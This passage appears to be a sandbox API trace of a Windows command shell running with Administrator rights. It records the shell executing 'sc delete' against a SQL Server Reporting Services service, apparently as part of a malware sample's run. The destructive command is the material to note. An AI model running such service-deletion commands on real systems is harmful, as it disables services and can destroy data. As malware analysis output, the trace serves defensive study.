lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.308] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="T\nPTIMA\"\n") returned 1 [0077.308] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.308] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.308] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.308] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="IPTIMA\"\n") returned 1 [0077.308] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.308] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.308] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.308] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="MTIMA\"\n") returned 1 [0077.308] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.308] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.308] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.308] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="AIMA\"\n") returned 1 [0077.308] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.308] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.308] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.308] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="\"MA\"\n") returned 1 [0077.308] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.308] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.308] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.308] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="\nA\"\n") returned 1 [0077.308] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.308] GetFileType (hFile=0xb8) returned 0x3 [0077.309] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.309] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.309] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.309] GetFileType (hFile=0x120) returned 0x3 [0077.309] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"ReportServer$OPTIMA\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"ReportServer$OPTIMA\"\n", lpUsedDefaultChar=0x0) returned 33 [0077.309] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x20, lpOverlapped=0x0) returned 1 [0077.309] GetProcessHeap () returned 0x240000 [0077.309] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0077.309] GetProcessHeap () returned 0x240000 [0077.309] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0077.309] GetProcessHeap () returned 0x240000 [0077.309] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0077.309] GetProcessHeap () returned 0x240000 [0077.309] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0077.309] GetProcessHeap () returned 0x240000 [0077.309] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4c) returned 0x2597e0 [0077.309] GetConsoleOutputCP () returned 0x1b5 [0077.309] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.309] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.310] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.310] GetProcessHeap () returned 0x240000 [0077.310] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0077.310] GetProcessHeap () returned 0x240000 [0077.310] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x52) returned 0x259840 [0077.310] GetProcessHeap () returned 0x240000 [0077.310] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0077.310] SetErrorMode (uMode=0x0) returned 0x1 [0077.310] SetErrorMode (uMode=0x1) returned 0x0 [0077.310] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0077.310] SetErrorMode (uMode=0x1) returned 0x1 [0077.310] GetProcessHeap () returned 0x240000 [0077.310] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0077.310] GetProcessHeap () returned 0x240000 [0077.310] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0077.310] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.310] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.310] GetProcessHeap () returned 0x240000 [0077.310] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0077.310] GetProcessHeap () returned 0x240000 [0077.311] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0077.311] GetProcessHeap () returned 0x240000 [0077.311] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0077.311] GetProcessHeap () returned 0x240000 [0077.311] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0077.311] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.311] GetProcessHeap () returned 0x240000 [0077.311] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0077.311] GetProcessHeap () returned 0x240000 [0077.311] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0077.311] GetProcessHeap () returned 0x240000 [0077.311] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0077.311] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.311] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.311] GetLastError () returned 0x2 [0077.311] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.311] GetLastError () returned 0x2 [0077.311] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.312] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.312] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.312] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.312] GetLastError () returned 0x2 [0077.312] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.312] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.312] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.312] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.312] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.312] GetProcessHeap () returned 0x240000 [0077.312] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0077.313] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.313] GetProcessHeap () returned 0x240000 [0077.313] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xb8) returned 0x259180 [0077.313] GetProcessHeap () returned 0x240000 [0077.313] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xb8 [0077.313] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"ReportServer$OPTIMA\"") returned 1 [0077.313] GetProcessHeap () returned 0x240000 [0077.313] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0077.313] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0077.313] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0077.314] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0077.314] GetProcessHeap () returned 0x240000 [0077.314] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.314] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.315] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.315] GetProcessHeap () returned 0x240000 [0077.315] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0077.315] GetProcessHeap () returned 0x240000 [0077.315] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0077.315] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"ReportServer$OPTIMA\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"ReportServer$OPTIMA\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"ReportServer$OPTIMA\"", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x86c, dwThreadId=0x88c)) returned 1 [0077.318] CloseHandle (hObject=0x54) returned 1 [0077.318] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.318] GetProcessHeap () returned 0x240000 [0077.318] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0077.318] GetEnvironmentStringsW () returned 0x261b10* [0077.318] GetProcessHeap () returned 0x240000 [0077.318] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0077.318] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.318] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0077.319] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdd000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0077.319] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0077.366] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0077.366] CloseHandle (hObject=0x50) returned 1 [0077.366] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0077.366] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0077.366] GetProcessHeap () returned 0x240000 [0077.366] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0077.366] GetEnvironmentStringsW () returned 0x261b10* [0077.366] GetProcessHeap () returned 0x240000 [0077.366] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0077.366] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.366] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.366] GetProcessHeap () returned 0x240000 [0077.366] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0077.366] GetEnvironmentStringsW () returned 0x261b10* [0077.366] GetProcessHeap () returned 0x240000 [0077.366] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0077.366] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.366] GetProcessHeap () returned 0x240000 [0077.366] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0077.366] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0077.367] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.367] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.367] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0077.367] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.367] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0077.368] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.368] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0077.368] GetConsoleOutputCP () returned 0x1b5 [0077.368] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.368] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.368] GetProcessHeap () returned 0x240000 [0077.368] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0077.368] GetProcessHeap () returned 0x240000 [0077.368] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0077.368] GetProcessHeap () returned 0x240000 [0077.368] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0077.368] GetProcessHeap () returned 0x240000 [0077.368] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.368] GetProcessHeap () returned 0x240000 [0077.368] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259840 | out: hHeap=0x240000) returned 1 [0077.368] GetProcessHeap () returned 0x240000 [0077.368] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0077.368] GetProcessHeap () returned 0x240000 [0077.368] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0077.368] GetProcessHeap () returned 0x240000 [0077.369] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0077.369] GetProcessHeap () returned 0x240000 [0077.369] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0077.369] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0077.369] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.369] GetFileType (hFile=0x120) returned 0x3 [0077.369] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.369] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.369] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0077.369] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.369] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.369] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.369] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0077.369] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.369] GetFileType (hFile=0x120) returned 0x3 [0077.369] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.369] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.369] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0077.369] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.369] GetFileType (hFile=0xb8) returned 0x3 [0077.369] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.369] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.370] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0077.370] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.370] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.370] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0077.370] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.370] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.370] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, 